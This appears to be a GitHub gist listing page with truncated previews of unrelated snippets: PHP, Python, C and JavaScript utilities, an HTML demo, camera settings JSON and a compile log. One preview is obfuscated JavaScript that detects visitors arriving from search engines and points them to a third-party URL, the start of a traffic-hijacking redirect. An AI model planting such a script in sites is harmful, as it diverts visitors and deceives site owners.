This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// We are a valid Joomla entry point. | |
define('_JEXEC', 1); | |
// Setup the base path related constant. | |
define('JPATH_BASE', dirname(__FILE__)); | |
define('JPATH_SITE', JPATH_BASE); | |
define('JPATH_LIBRARIES', dirname(dirname(__FILE__)) . '/joomla/libraries'); | |
require JPATH_LIBRARIES.'/import.php'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
def next_col(current, n=8): | |
length = len(current) | |
if length == n: | |
return | |
dangerous = current + [item for l in [(val + length - i, val - length + i) for i, val in enumerate(current)] for item in l if item >= 0 and item <= n] | |
for i in range(n): | |
if i not in dangerous: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def subset(s): | |
result = [] | |
length = 1 << len(s) | |
for i in range(length): | |
j = i | |
index = 0 | |
tmp = [] | |
while j: | |
if j & 1: | |
tmp.append(s[index]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char* my_strstr(const char* haystack, const char* needle) { | |
if (!*needle) | |
return haystack; | |
char* h = haystack; | |
char* n = needle; | |
int found = 0; | |
while (*h) { | |
char* hp = h; | |
while (*hp && *n && *hp == *n) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var find = function(arr, key) { | |
if (arr.length < 1) { | |
return null; | |
} | |
var low = 0, | |
high = arr.length - 1, | |
middle; | |
while(high >= low) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _$ = ["www.baidu.com", "www.sogou.com", "www.so.com", "www.google.com.hk", "www.yahoo", "bing.com", "www.youdao.com", "www.soso.com", "360.cn", '11413.com.cn', 'http://www.11413.com.cn/qeedoo/index.html', "", "Microsoft Internet Explorer"]; | |
(function () { | |
var qeedoo0 = window["document"]["referrer"]; | |
var qeedoo1 = window["document"]["URL"]; | |
qeedoo0 = qeedoo0["toLowerCase"](); | |
qeedoo1 = qeedoo1["toLowerCase"](); | |
if (qeedoo0["indexOf"](_$[0]) != -0x1 || qeedoo0["indexOf"](_$[1]) != -0x1 || qeedoo0["indexOf"](_$[2]) != -0x1 || qeedoo0["indexOf"](_$[3]) != -0x1 || qeedoo0["indexOf"](_$[4]) != -0x1 || qeedoo0["indexOf"](_$[5]) != -0x1 || qeedoo0["indexOf"](_$[6]) != -0x1 || qeedoo0["indexOf"](_$[7]) != -0x1 || qeedoo0["indexOf"](_$[8]) != -0x1) { | |
var qeedoo2 = qeedoo0["replace"](/baidu.com\/s/, _$[9]); | |
qeedoo2 = _$[10]; | |
if (qeedoo2 != null && qeedoo2 != _$[11]) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" /> | |
<meta charset="UTF-8"> | |
<title>demo</title> | |
<style> | |
body { | |
margin: 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"version": 2.0, | |
"display_hints": [{ | |
"key": "GPCAMERA_GROUP_VIDEO", | |
"display_name": "Video Settings", | |
"settings": [{ | |
"setting_id": 5, | |
"widget_type": "select", | |
"precedence": 1 | |
}, { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"cc -o conftest -I/usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.3.7/include/ruby-2.3.0/universal-darwin9.0 -I/usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.3.7/include/ruby-2.3.0/ruby/backward -I/usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.3.7/include/ruby-2.3.0 -I. -I/usr/local/opt/portable-readline/include -I/usr/local/opt/portable-libyaml/include -I/usr/local/opt/portable-openssl/include -D_XOPEN_SOURCE -D_DARWIN_C_SOURCE -D_DARWIN_UNLIMITED_SELECT -D_REENTRANT -pipe conftest.c -L. -L/usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.3.7/lib -L/usr/local/opt/portable-readline/lib -L/usr/local/opt/portable-libyaml/lib -L/usr/local/opt/portable-openssl/lib -L. -Wl,-search_paths_first -fstack-protector -L/usr/local/lib -L/usr/local/opt/portable-readline/lib -L/usr/local/opt/portable-libyaml/lib -L/usr/local/opt/portable-openssl/lib -arch x86_64 -arch i386 -lruby-static -framework Foundation -lpthread -ldl -lobjc " | |
In file included from conftest.c:1: |
OlderNewer